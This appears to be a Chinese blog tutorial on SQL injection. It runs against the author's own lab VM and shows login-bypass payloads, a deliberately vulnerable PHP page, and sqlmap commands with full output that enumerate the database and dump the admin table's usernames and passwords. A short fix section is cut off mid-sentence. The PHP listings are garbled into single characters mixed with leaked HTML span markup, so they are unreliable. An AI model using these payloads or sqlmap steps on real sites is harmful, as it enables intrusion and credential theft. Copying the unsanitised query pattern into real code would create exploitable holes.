有一款工具叫sqlmap
主要用于识别sql
漏洞并注入,这里我就写一篇教程教大家如何使用。
因为sql
注入是非法的,所以我就使用两台自己的虚拟机进行测试,请大家不要在别人的网站上搞破坏。(现在大部分网站已经没有sql
漏洞了,修复方法也很简单)
一、什么是sql
漏洞
要搞清楚sql
漏洞,首先要搞清楚sql
语句。sql
全称Structured Query Language
(结构化查询语言),是一种编程语言,主要应用于数据库查询。一般服务器安装的数据库有Microsoft Access
、mysql
、postgreysql
等等。这里我使用mysql
。下面我就举一些查询的例子。
SELECT * FROM admin WHERE user = "test" AND pass = "123456";
这一句就是从admin
表中查找user
为test
并且pass
为123456
的记录,并将满足要求的记录输出,一般登录页面就是用这条语句查询的。
但是如果我输入的密码是" OR "1"="1
,用户名是test
,那么sql
语句岂不是
SELECT * FROM admin WHERE user = "test" AND pass = "" OR "1"="1";
很明显,WHERE
后的表达式一定返回true
,于是mysql
会将每条记录都输出,而网站误以为这个用户名是正确的,然后让你以test
的身份登录。
如果网站还设有管理权限,那么你可以试试密码为" OR "1"="1" AND writable = TRUE AND ""="
,这样,sql
查询语句就是
SELECT * FROM admin WHERE user = "test" AND pass = "" OR "1"="1" AND writable = TRUE AND ""="";
其中user = "test" AND pass = "" OR "1"="1"
始终返回true
,所以实际条件为
writable = TRUE AND ""=""
,即writable = TRUE
,于是mysql
会将writable
为true
的记录输出
还有一种,是查看文章,一般是通过GET
参数id
来查询的
SELECT * FROM articles WHERE id = 1;
如果网站没有对id
进行校验,那么不妨用id=1 AND 1=1
来测试
SELECT * FROM articles WHERE id = 1 AND 1=1;
没报错说明可能可以注入,改成id=1 AND 1=2
,如果说文章没有找到,进一步说明可以注入,在改成id="
,如果mysql
报错,一般网站会显示出来,那么基本上就算可以注入了。
我就用这个例子进行注入
二、搭建环境
我选用的是kali linux 17.3
作为攻击者,Ubuntu lts 18.04
作为受害服务器,先搭建服务器,可以参考Ubuntu18.04 如何搭建Apache2+php5.6+mysql服务器,把可注入网页放在/article.php
,其代码如下。
<?php
if (!isset($_GET[‘id’])){
echo ‘没有设置参数id’;
die(1);
}
h
o
s
t
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
o
p
e
r
a
t
o
r
"
>
=
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
s
i
n
g
l
e
−
q
u
o
t
e
d
−
s
t
r
i
n
g
s
t
r
i
n
g
"
>
′
l
o
c
a
l
h
o
s
t
′
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
p
u
n
c
t
u
a
t
i
o
n
"
>
;
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
v
a
r
i
a
b
l
e
"
>
host</span> <span class="token operator">=</span> <span class="token single-quoted-string string">'localhost'</span><span class="token punctuation">;</span> <span class="token variable">
host</span><spanclass="tokenoperator">=</span><spanclass="tokensingle−quoted−stringstring">′localhost′</span><spanclass="tokenpunctuation">;</span><spanclass="tokenvariable">user = ‘test’;
p
a
s
s
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
o
p
e
r
a
t
o
r
"
>
=
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
s
i
n
g
l
e
−
q
u
o
t
e
d
−
s
t
r
i
n
g
s
t
r
i
n
g
"
>
′
12345
6
′
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
p
u
n
c
t
u
a
t
i
o
n
"
>
;
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
v
a
r
i
a
b
l
e
"
>
pass</span> <span class="token operator">=</span> <span class="token single-quoted-string string">'123456'</span><span class="token punctuation">;</span> <span class="token variable">
pass</span><spanclass="tokenoperator">=</span><spanclass="tokensingle−quoted−stringstring">′123456′</span><spanclass="tokenpunctuation">;</span><spanclass="tokenvariable">conn = mysql_connect(
h
o
s
t
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
p
u
n
c
t
u
a
t
i
o
n
"
>
,
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
v
a
r
i
a
b
l
e
"
>
host</span><span class="token punctuation">,</span><span class="token variable">
host</span><spanclass="tokenpunctuation">,</span><spanclass="tokenvariable">user,
p
a
s
s
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
p
u
n
c
t
u
a
t
i
o
n
"
>
)
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
p
u
n
c
t
u
a
t
i
o
n
"
>
;
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
k
e
y
w
o
r
d
"
>
i
f
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
p
u
n
c
t
u
a
t
i
o
n
"
>
(
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
o
p
e
r
a
t
o
r
"
>
!
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
v
a
r
i
a
b
l
e
"
>
pass</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token variable">
pass</span><spanclass="tokenpunctuation">)</span><spanclass="tokenpunctuation">;</span><spanclass="tokenkeyword">if</span><spanclass="tokenpunctuation">(</span><spanclass="tokenoperator">!</span><spanclass="tokenvariable">conn){
echo ‘无法连接至数据库’;
}
s
q
l
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
o
p
e
r
a
t
o
r
"
>
=
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
s
i
n
g
l
e
−
q
u
o
t
e
d
−
s
t
r
i
n
g
s
t
r
i
n
g
"
>
′
S
E
L
E
C
T
∗
F
R
O
M
w
e
b
s
i
t
e
.
a
r
t
i
c
l
e
s
W
H
E
R
E
i
d
=
′
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
p
u
n
c
t
u
a
t
i
o
n
"
>
.
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
v
a
r
i
a
b
l
e
"
>
sql</span> <span class="token operator">=</span> <span class="token single-quoted-string string">'SELECT * FROM website.articles WHERE id = '</span><span class="token punctuation">.</span><span class="token variable">
sql</span><spanclass="tokenoperator">=</span><spanclass="tokensingle−quoted−stringstring">′SELECT∗FROMwebsite.articlesWHEREid=′</span><spanclass="tokenpunctuation">.</span><spanclass="tokenvariable">_GET[‘id’]; // 漏洞就在这里
q
u
e
r
y
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
o
p
e
r
a
t
o
r
"
>
=
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
f
u
n
c
t
i
o
n
"
>
m
y
s
q
l
q
u
e
r
y
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
p
u
n
c
t
u
a
t
i
o
n
"
>
(
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
v
a
r
i
a
b
l
e
"
>
query</span> <span class="token operator">=</span> <span class="token function">mysql_query</span><span class="token punctuation">(</span><span class="token variable">
query</span><spanclass="tokenoperator">=</span><spanclass="tokenfunction">mysqlquery</span><spanclass="tokenpunctuation">(</span><spanclass="tokenvariable">sql,
c
o
n
n
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
p
u
n
c
t
u
a
t
i
o
n
"
>
)
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
p
u
n
c
t
u
a
t
i
o
n
"
>
;
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
v
a
r
i
a
b
l
e
"
>
conn</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token variable">
conn</span><spanclass="tokenpunctuation">)</span><spanclass="tokenpunctuation">;</span><spanclass="tokenvariable">row = mysql_fetch_array(
q
u
e
r
y
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
p
u
n
c
t
u
a
t
i
o
n
"
>
)
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
p
u
n
c
t
u
a
t
i
o
n
"
>
;
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
k
e
y
w
o
r
d
"
>
i
f
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
p
u
n
c
t
u
a
t
i
o
n
"
>
(
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
o
p
e
r
a
t
o
r
"
>
!
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
v
a
r
i
a
b
l
e
"
>
query</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token variable">
query</span><spanclass="tokenpunctuation">)</span><spanclass="tokenpunctuation">;</span><spanclass="tokenkeyword">if</span><spanclass="tokenpunctuation">(</span><spanclass="tokenoperator">!</span><spanclass="tokenvariable">row){
echo ‘访问的文章不存在’;
} else {
echo $row[‘content’];
}
mysql_close($conn);
?>
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
搭建好整个网站后,在mysql
中的情形如下
当然,我注入不可能是为了看到那几篇文章,其实我通过网页也可以直接看到它,我的目的是看到一些隐私数据,比如admin
表中的账号和密码
三、注入前测试
服务器地址为192.168.3.59
,先访问网页查看是否可以注入。
显然,网页本身没有什么问题。使用id="
进行测试。
显然mysql
发现sql
有语法错误,所以没有任何查询结果。
和预期完全相符,说明这个页面可以注入。
四、sqlmap
注入
对于kali linux
,sqlmap
默认安装。
对于Ubuntu
,使用apt install sqlmap
进行安装
对于其他系统,到官网下载源码,sqlmap
使用python
编写的,所以可能需要安装python
下面开始注入。
sqlmap -u '192.168.3.59/article.php?id=1
,一定要加入GET
参数,不然sqlmap
不知道使用什么参数去注入。输出差不多是
root@kali:~# sqlmap -u '192.168.3.59/article.php?id=1'
___
__H__
___ ___[,]_____ ___ ___ {1.1.11#stable}
|_ -| . [.] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 11:30:43
[11:30:43] [INFO] resuming back-end DBMS ‘mysql’
[11:30:43] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 1817=1817
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id=1 AND SLEEP(5)
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: id=-2184 UNION ALL SELECT NULL,CONCAT(0x716b707071,0x517964767671746351415543654b4b794171664b78754b57434b70774c6b56434b6a46786a4d5a76,0x717a706271)-- BgjA
[11:30:43] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.29
back-end DBMS: MySQL >= 5.0.12
[11:30:43] [INFO] fetched data logged to text files under ‘/root/.sqlmap/output/192.168.3.59’
[*] shutting down at 11:30:43
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
从上述输出来看,可以注入,下面正式开始注入。
sqlmap -u '192.168.3.59/article.php?id=1' --dbs
,输出是
root@kali:~# sqlmap -u '192.168.3.59/article.php?id=1' --dbs
___
__H__
___ ___[.]_____ ___ ___ {1.1.11#stable}
|_ -| . [,] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 11:37:43
[11:37:43] [INFO] resuming back-end DBMS ‘mysql’
[11:37:43] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 1817=1817
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id=1 AND SLEEP(5)
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: id=-2184 UNION ALL SELECT NULL,CONCAT(0x716b707071,0x517964767671746351415543654b4b794171664b78754b57434b70774c6b56434b6a46786a4d5a76,0x717a706271)-- BgjA
[11:37:43] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.29
back-end DBMS: MySQL >= 5.0.12
[11:37:43] [INFO] fetching database names
[11:37:43] [INFO] the SQL query used returns 2 entries
[11:37:43] [INFO] retrieved: information_schema
[11:37:43] [INFO] retrieved: website
available databases [2]:
[] information_schema
[] website
[11:37:43] [INFO] fetched data logged to text files under ‘/root/.sqlmap/output/192.168.3.59’
[*] shutting down at 11:37:43
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
注入发现两个数据库information_schema
和website
information_schema
主要是mysql
数据库、表、列的信息,没有什么,website
是网站的数据,对这个数据库进行注入。
sqlmap -u '192.168.3.59/article.php?id=1 -D website --tables
,输出为
root@kali:~# sqlmap -u '192.168.3.59/article.php?id=1' -D website --tables
___
__H__
___ ___[(]_____ ___ ___ {1.1.11#stable}
|_ -| . [.] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 11:41:14
[11:41:14] [INFO] resuming back-end DBMS ‘mysql’
[11:41:14] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 1817=1817
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id=1 AND SLEEP(5)
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: id=-2184 UNION ALL SELECT NULL,CONCAT(0x716b707071,0x517964767671746351415543654b4b794171664b78754b57434b70774c6b56434b6a46786a4d5a76,0x717a706271)-- BgjA
[11:41:14] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.29
back-end DBMS: MySQL >= 5.0.12
[11:41:14] [INFO] fetching tables for database: ‘website’
[11:41:14] [INFO] the SQL query used returns 2 entries
[11:41:14] [INFO] retrieved: admin
[11:41:14] [INFO] retrieved: articles
Database: website
[2 tables]
±---------+
| admin |
| articles |
±---------+
[11:41:14] [INFO] fetched data logged to text files under ‘/root/.sqlmap/output/192.168.3.59’
[*] shutting down at 11:41:14
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
发现有两张表admin
、articles
,作为攻击者肯定注入admin
sqlmap -u '192.168.3.59/article.php?id=1' -D website -T admin --columns
,输出为
root@kali:~# sqlmap -u '192.168.3.59/article.php?id=1' -D website -T admin --columns
___
__H__
___ ___["]_____ ___ ___ {1.1.11#stable}
|_ -| . [(] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 11:43:46
[11:43:46] [INFO] resuming back-end DBMS ‘mysql’
[11:43:46] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 1817=1817
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id=1 AND SLEEP(5)
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: id=-2184 UNION ALL SELECT NULL,CONCAT(0x716b707071,0x517964767671746351415543654b4b794171664b78754b57434b70774c6b56434b6a46786a4d5a76,0x717a706271)-- BgjA
[11:43:46] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.29
back-end DBMS: MySQL >= 5.0.12
[11:43:46] [INFO] fetching columns for table ‘admin’ in database ‘website’
[11:43:47] [INFO] the SQL query used returns 3 entries
[11:43:47] [INFO] retrieved: “id”,“int(11)”
[11:43:47] [INFO] retrieved: “user”,“text”
[11:43:47] [INFO] retrieved: “pass”,“text”
Database: website
Table: admin
[3 columns]
±-------±--------+
| Column | Type |
±-------±--------+
| user | text |
| id | int(11) |
| pass | text |
±-------±--------+
[11:43:47] [INFO] fetched data logged to text files under ‘/root/.sqlmap/output/192.168.3.59’
[*] shutting down at 11:43:47
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
注入得到了三列user
、id
、pass
,只要得到user
和pass
,就能得到密码(一般是网站后台管理的登录密码)
sqlmap -u '192.168.3.59/article.php?id=1' -D website -T admin -C user,pass --dump
,输出为
root@kali:~# sqlmap -u '192.168.3.59/article.php?id=1' -D website -T admin -C user,pass --dump
___
__H__
___ ___["]_____ ___ ___ {1.1.11#stable}
|_ -| . [.] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 11:47:33
[11:47:33] [INFO] resuming back-end DBMS ‘mysql’
[11:47:33] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 1817=1817
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id=1 AND SLEEP(5)
Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: id=-2184 UNION ALL SELECT NULL,CONCAT(0x716b707071,0x517964767671746351415543654b4b794171664b78754b57434b70774c6b56434b6a46786a4d5a76,0x717a706271)-- BgjA
[11:47:33] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.29
back-end DBMS: MySQL >= 5.0.12
[11:47:33] [INFO] fetching entries of column(s) ‘user
, pass’ for table ‘admin’ in database ‘website’
[11:47:33] [INFO] the SQL query used returns 3 entries
[11:47:33] [INFO] retrieved: “test1”,“123456”
[11:47:33] [INFO] retrieved: “test2”,“123456”
[11:47:33] [INFO] retrieved: “test3”,“123456”
Database: website
Table: admin
[3 entries]
±-------±-------+
| user | pass |
±-------±-------+
| test1 | 123456 |
| test2 | 123456 |
| test3 | 123456 |
±-------±-------+
[11:47:33] [INFO] table ‘website.admin’ dumped to CSV file ‘/root/.sqlmap/output/192.168.3.59/dump/website/admin.csv’
[11:47:33] [INFO] fetched data logged to text files under ‘/root/.sqlmap/output/192.168.3.59’
[*] shutting down at 11:47:33
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
成功得到了管理员账号和密码,注入也就到此结束。
五、如何修复sql
漏洞
就拿我这个网页漏洞距离,修复前是
<?php
if (!isset($_GET[‘id’])){
echo ‘没有设置参数id’;
die(1);
}
h
o
s
t
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
o
p
e
r
a
t
o
r
"
>
=
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
s
i
n
g
l
e
−
q
u
o
t
e
d
−
s
t
r
i
n
g
s
t
r
i
n
g
"
>
′
l
o
c
a
l
h
o
s
t
′
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
p
u
n
c
t
u
a
t
i
o
n
"
>
;
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
v
a
r
i
a
b
l
e
"
>
host</span> <span class="token operator">=</span> <span class="token single-quoted-string string">'localhost'</span><span class="token punctuation">;</span> <span class="token variable">
host</span><spanclass="tokenoperator">=</span><spanclass="tokensingle−quoted−stringstring">′localhost′</span><spanclass="tokenpunctuation">;</span><spanclass="tokenvariable">user = ‘test’;
p
a
s
s
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
o
p
e
r
a
t
o
r
"
>
=
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
s
i
n
g
l
e
−
q
u
o
t
e
d
−
s
t
r
i
n
g
s
t
r
i
n
g
"
>
′
12345
6
′
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
p
u
n
c
t
u
a
t
i
o
n
"
>
;
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
v
a
r
i
a
b
l
e
"
>
pass</span> <span class="token operator">=</span> <span class="token single-quoted-string string">'123456'</span><span class="token punctuation">;</span> <span class="token variable">
pass</span><spanclass="tokenoperator">=</span><spanclass="tokensingle−quoted−stringstring">′123456′</span><spanclass="tokenpunctuation">;</span><spanclass="tokenvariable">conn = mysql_connect(
h
o
s
t
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
p
u
n
c
t
u
a
t
i
o
n
"
>
,
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
v
a
r
i
a
b
l
e
"
>
host</span><span class="token punctuation">,</span><span class="token variable">
host</span><spanclass="tokenpunctuation">,</span><spanclass="tokenvariable">user,
p
a
s
s
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
p
u
n
c
t
u
a
t
i
o
n
"
>
)
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
p
u
n
c
t
u
a
t
i
o
n
"
>
;
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
k
e
y
w
o
r
d
"
>
i
f
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
p
u
n
c
t
u
a
t
i
o
n
"
>
(
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
o
p
e
r
a
t
o
r
"
>
!
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
v
a
r
i
a
b
l
e
"
>
pass</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token variable">
pass</span><spanclass="tokenpunctuation">)</span><spanclass="tokenpunctuation">;</span><spanclass="tokenkeyword">if</span><spanclass="tokenpunctuation">(</span><spanclass="tokenoperator">!</span><spanclass="tokenvariable">conn){
echo ‘无法连接至数据库’;
}
s
q
l
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
o
p
e
r
a
t
o
r
"
>
=
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
s
i
n
g
l
e
−
q
u
o
t
e
d
−
s
t
r
i
n
g
s
t
r
i
n
g
"
>
′
S
E
L
E
C
T
∗
F
R
O
M
w
e
b
s
i
t
e
.
a
r
t
i
c
l
e
s
W
H
E
R
E
i
d
=
′
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
p
u
n
c
t
u
a
t
i
o
n
"
>
.
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
v
a
r
i
a
b
l
e
"
>
sql</span> <span class="token operator">=</span> <span class="token single-quoted-string string">'SELECT * FROM website.articles WHERE id = '</span><span class="token punctuation">.</span><span class="token variable">
sql</span><spanclass="tokenoperator">=</span><spanclass="tokensingle−quoted−stringstring">′SELECT∗FROMwebsite.articlesWHEREid=′</span><spanclass="tokenpunctuation">.</span><spanclass="tokenvariable">_GET[‘id’]; // 漏洞就在这里
q
u
e
r
y
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
o
p
e
r
a
t
o
r
"
>
=
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
f
u
n
c
t
i
o
n
"
>
m
y
s
q
l
q
u
e
r
y
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
p
u
n
c
t
u
a
t
i
o
n
"
>
(
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
v
a
r
i
a
b
l
e
"
>
query</span> <span class="token operator">=</span> <span class="token function">mysql_query</span><span class="token punctuation">(</span><span class="token variable">
query</span><spanclass="tokenoperator">=</span><spanclass="tokenfunction">mysqlquery</span><spanclass="tokenpunctuation">(</span><spanclass="tokenvariable">sql,
c
o
n
n
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
p
u
n
c
t
u
a
t
i
o
n
"
>
)
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
p
u
n
c
t
u
a
t
i
o
n
"
>
;
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
v
a
r
i
a
b
l
e
"
>
conn</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token variable">
conn</span><spanclass="tokenpunctuation">)</span><spanclass="tokenpunctuation">;</span><spanclass="tokenvariable">row = mysql_fetch_array(
q
u
e
r
y
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
p
u
n
c
t
u
a
t
i
o
n
"
>
)
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
p
u
n
c
t
u
a
t
i
o
n
"
>
;
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
k
e
y
w
o
r
d
"
>
i
f
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
p
u
n
c
t
u
a
t
i
o
n
"
>
(
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
o
p
e
r
a
t
o
r
"
>
!
<
/
s
p
a
n
>
<
s
p
a
n
c
l
a
s
s
=
"
t
o
k
e
n
v
a
r
i
a
b
l
e
"
>
query</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token variable">
query</span><spanclass="tokenpunctuation">)</span><spanclass="tokenpunctuation">;</span><spanclass="tokenkeyword">if</span><spanclass="tokenpunctuation">(</span><spanclass="tokenoperator">!</span><spanclass="tokenvariable">row){
echo ‘访问的文章不存在’;
} else {
echo $row[‘content’];
}
mysql_close($conn);
?>
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
导致sql
注入的原因是使用了非法字符,那么有很多解决办法。
- 对参数进行检查,比如检查
id
